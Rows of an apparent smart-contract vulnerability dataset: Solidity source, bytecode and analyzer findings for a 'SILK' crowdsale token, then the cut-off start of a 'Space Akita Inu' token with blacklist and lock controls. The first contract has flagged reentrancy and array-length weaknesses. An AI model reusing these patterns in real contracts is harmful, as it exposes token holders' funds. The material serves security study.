function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Manageable is Ownable {
address[] public managers;
event ManagerAdded(address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager() { require(isManager(msg.sender)); _; }
function countManagers() view public returns(uint) {
return managers.length;
}
function getManagers() view public returns(address[]) {
return managers;
}
function isManager(address _manager) view public returns(bool) {
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
return true;
}
}
return false;
}
function addManager(address _manager) onlyOwner public {
require(_manager != address(0));
require(!isManager(_manager));
managers.push(_manager);
emit ManagerAdded(_manager);
}
function removeManager(address _manager) onlyOwner public {
require(isManager(_manager));
uint index = 0;
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
index = i;
}
}
for(; index < managers.length - 1; index++) {
managers[index] = managers[index + 1];
}
managers.length--;
emit ManagerRemoved(_manager);
}
}
contract RewardToken is StandardToken, Ownable {
struct Payment {
uint time;
uint amount;
}
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Repayment(address indexed from, uint256 time, uint256 amount);
event Reward(address indexed to, uint256 time, uint256 amount);
function repayment() onlyOwner payable public {
require(msg.value >= 0.01 * 1 ether);
repayments.push(Payment({time : now, amount : msg.value}));
emit Repayment(msg.sender, now, msg.value);
}
function _reward(address _to) private returns(bool) {
if(rewards[_to].length < repayments.length) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
uint amount = balances[_to] > 0 ? (repayments[i].amount.mul(balances[_to]).div(totalSupply_)) : 0;
rewards[_to].push(Payment({time : now, amount : amount}));
sum = sum.add(amount);
}
if(sum > 0) {
_to.transfer(sum);
emit Reward(_to, now, sum);
}
return true;
}
return false;
}
function reward() public returns(bool) {
return _reward(msg.sender);
}
function availableReward(address _to) public view returns(uint256 value) {
if(rewards[_to].length < repayments.length && balances[_to] > 0) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
sum = sum.add(repayments[i].amount.mul(balances[_to]).div(totalSupply_));
}
return sum;
}
return 0;
}
function transfer(address _to, uint256 _value) public returns(bool) {
_reward(msg.sender);
_reward(_to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
_reward(_from);
_reward(_to);
return super.transferFrom(_from, _to, _value);
}
}
/*
ICO Silkroadmining
*/
contract Token is CappedToken, BurnableToken, RewardToken, Withdrawable {
constructor() CappedToken(100000000 * 1e8) StandardToken("SILK", "SILK", 8) public {
}
}
contract Crowdsale is Manageable, Withdrawable, Pausable {
using SafeMath for uint;
Token public token;
bool public crowdsaleClosed = false;
event ExternalPurchase(address indexed holder, string tx, string currency, uint256 currencyAmount, uint256 rateToEther, uint256 tokenAmount);
event CrowdsaleClose();
constructor() public {
token = new Token();
addManager(0x915c517cB57fAB7C532262cB9f109C875bEd7d18);
}
function externalPurchase(address _to, string _tx, string _currency, uint _value, uint256 _rate, uint256 _tokens) whenNotPaused onlyManager public {
token.mint(_to, _tokens);
emit ExternalPurchase(_to, _tx, _currency, _value, _rate, _tokens);
}
function closeCrowdsale(address _to) onlyOwner public {
require(!crowdsaleClosed);
token.finishMinting();
token.transferOwnership(_to);
crowdsaleClosed = true;
emit CrowdsaleClose();
}
}
|
0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b14610185578063066fd899146101b457806306fdde031461020b578063095ea7b31461029b57806317cd802d1461030057806318160ddd1461030a5780631e89d54514610335578063228cb733146103f657806323b872dd14610425578063313ce567146104aa578063355274ea146104db57806340c10f191461050657806342966c681461056b578063522f68151461059857806366188463146105e55780636cf7ccac1461064a57806370a08231146106d7578063715018a61461072e578063757b8cf41461074557806379cc6790146107b25780637d64bcb4146107ff5780638da5cb5b1461082e57806395d89b4114610885578063a85f376114610915578063a9059cbb1461095d578063b933ceac146109c2578063d73dd62314610a2a578063dd62ed3e14610a8f578063f0595dd114610b06578063f2fde38b14610b73575b600080fd5b34801561019157600080fd5b5061019a610bb6565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc9565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610220610d7a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610260578082015181840152602081019050610245565b50505050905090810190601f16801561028d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a757600080fd5b506102e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e18565b604051808215151515815260200191505060405180910390f35b610308610f0a565b005b34801561031657600080fd5b5061031f61102d565b6040518082815260200191505060405180910390f35b34801561034157600080fd5b506103dc6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611036565b604051808215151515815260200191505060405180910390f35b34801561040257600080fd5b5061040b6110a8565b604051808215151515815260200191505060405180910390f35b34801561043157600080fd5b50610490600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b8565b604051808215151515815260200191505060405180910390f35b3480156104b657600080fd5b506104bf6110e2565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104e757600080fd5b506104f06110f5565b6040518082815260200191505060405180910390f35b34801561051257600080fd5b50610551600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110fb565b604051808215151515815260200191505060405180910390f35b34801561057757600080fd5b5061059660048036038101908080359060200190929190505050611134565b005b3480156105a457600080fd5b506105e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611141565b005b3480156105f157600080fd5b50610630600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061124a565b604051808215151515815260200191505060405180910390f35b34801561065657600080fd5b506106d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114db565b005b3480156106e357600080fd5b50610718600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165a565b6040518082815260200191505060405180910390f35b34801561073a57600080fd5b506107436116a3565b005b34801561075157600080fd5b506107b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117a8565b005b3480156107be57600080fd5b506107fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118f2565b005b34801561080b57600080fd5b50610814611a9a565b604051808215151515815260200191505060405180910390f35b34801561083a57600080fd5b50610843611b62565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561089157600080fd5b5061089a611b88565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108da5780820151818401526020810190506108bf565b50505050905090810190601f1680156109075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561092157600080fd5b5061094060048036038101908080359060200190929190505050611c26565b604051808381526020018281526020019250505060405180910390f35b34801561096957600080fd5b506109a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c59565b604051808215151515815260200191505060405180910390f35b3480156109ce57600080fd5b50610a0d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c81565b604051808381526020018281526020019250505060405180910390f35b348015610a3657600080fd5b50610a75600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cc1565b604051808215151515815260200191505060405180910390f35b348015610a9b57600080fd5b50610af0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ebd565b6040518082815260200191505060405180910390f35b348015610b1257600080fd5b50610b71600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f44565b005b348015610b7f57600080fd5b50610bb4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061208e565b005b600660149054906101000a900460ff1681565b6000806000600880549050600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050108015610c6357506000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d6e5760009150600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905090505b600880549050811015610d6657610d57610d48600054610d3a600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600886815481101515610d1a57fe5b9060005260206000209060020201600101546120f690919063ffffffff16565b61212e90919063ffffffff16565b8361214490919063ffffffff16565b91508080600101915050610cb2565b819250610d73565b600092505b5050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e105780601f10610de557610100808354040283529160200191610e10565b820191906000526020600020905b815481529060010190602001808311610df357829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6657600080fd5b662386f26fc100003410151515610f7c57600080fd5b60086040805190810160405280428152602001348152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050503373ffffffffffffffffffffffffffffffffffffffff167f24fcca58a997b1b2eff6db8107e860458544c09ddd3693b3b779e1df6c0d6c5d4234604051808381526020018281526020019250505060405180910390a2565b60008054905090565b6000808251845114151561104957600080fd5b600090505b835181101561109d5761108f848281518110151561106857fe5b90602001906020020151848381518110151561108057fe5b90602001906020020151611c59565b50808060010191505061104e565b600191505092915050565b60006110b333612160565b905090565b60006110c384612160565b506110cd83612160565b506110d9848484612458565b90509392505050565b600360009054906101000a900460ff1681565b60075481565b60006007546111158360005461214490919063ffffffff16565b1115151561112257600080fd5b61112c8383612817565b905092915050565b61113e33826129ff565b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156111d957600080fd5b803073ffffffffffffffffffffffffffffffffffffffff1631101515156111ff57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611245573d6000803e3d6000fd5b505050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561135b576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ef565b61136e8382612bb590919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561153757600080fd5b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561160e57600080fd5b505af1158015611622573d6000803e3d6000fd5b505050506040513d602081101561163857600080fd5b8101908080519060200190929190505050151561165457600080fd5b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116ff57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180457600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663095ea7b383836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118a757600080fd5b505af11580156118bb573d6000803e3d6000fd5b505050506040513d60208110156118d157600080fd5b810190808051906020019092919050505015156118ed57600080fd5b505050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561197d57600080fd5b611a0c81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bb590919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a9682826129ff565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611af857600080fd5b600660149054906101000a900460ff16151515611b1457600080fd5b6001600660146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c1e5780601f10611bf357610100808354040283529160200191611c1e565b820191906000526020600020905b815481529060010190602001808311611c0157829003601f168201915b505050505081565b600881815481101515611c3557fe5b90600052602060002090600202016000915090508060000154908060010154905082565b6000611c6433612160565b50611c6e83612160565b50611c798383612bce565b905092915050565b600960205281600052604060002081815481101515611c9c57fe5b9060005260206000209060020201600091509150508060000154908060010154905082565b6000611d5282600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214490919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fa057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561204357600080fd5b505af1158015612057573d6000803e3d6000fd5b505050506040513d602081101561206d57600080fd5b8101908080519060200190929190505050151561208957600080fd5b505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120ea57600080fd5b6120f381612df2565b50565b6000808314156121095760009050612128565b818302905081838281151561211a57fe5b0414151561212457fe5b8090505b92915050565b6000818381151561213b57fe5b04905092915050565b6000818301905082811015151561215757fe5b80905092915050565b600080600080600880549050600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050101561244b5760009250600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905091505b60088054905082101561239b576000600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161225a5760006122e1565b6122e06000546122d2600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546008868154811015156122b257fe5b9060005260206000209060020201600101546120f690919063ffffffff16565b61212e90919063ffffffff16565b5b9050600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060408051908101604052804281526020018381525090806001815401808255809150509060018203906000526020600020906002020160009091929091909150600082015181600001556020820151816001015550505061238c818461214490919063ffffffff16565b925081806001019250506121ff565b6000831115612442578473ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156123ea573d6000803e3d6000fd5b508473ffffffffffffffffffffffffffffffffffffffff167f02a6a2be713fedf52f113c0a759f1c1a23a113476d9b1b1a2a453c910660de4e4285604051808381526020018281526020019250505060405180910390a25b60019350612450565b600093505b505050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561249557600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156124e357600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561256e57600080fd5b6125c082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bb590919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214490919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061272782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bb590919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561287557600080fd5b600660149054906101000a900460ff1615151561289157600080fd5b6128a68260005461214490919063ffffffff16565b6000819055506128fe82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214490919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515612a4d57600080fd5b612a9f81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bb590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612af781600054612bb590919063ffffffff16565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000828211151515612bc357fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612c0b57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612c5957600080fd5b612cab82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bb590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d4082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214490919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612e2e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820d3d0c5a050d5827bf377b02bd7f71d2fa26065d1f252222dd4e4348166789cb80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,260 |
0xfb23cece54779430cf0442d9220e85ec7f215595
|
/*
// Space Akita Inu (SAKITA) - fork Akita Inu
//CMC and CG listing application in place.
//Marketing budget in place
//Liqudity Locked
//TG: https://t.me/akitatoken
//Website: https://www.akitatoken.net/
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SAKITA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
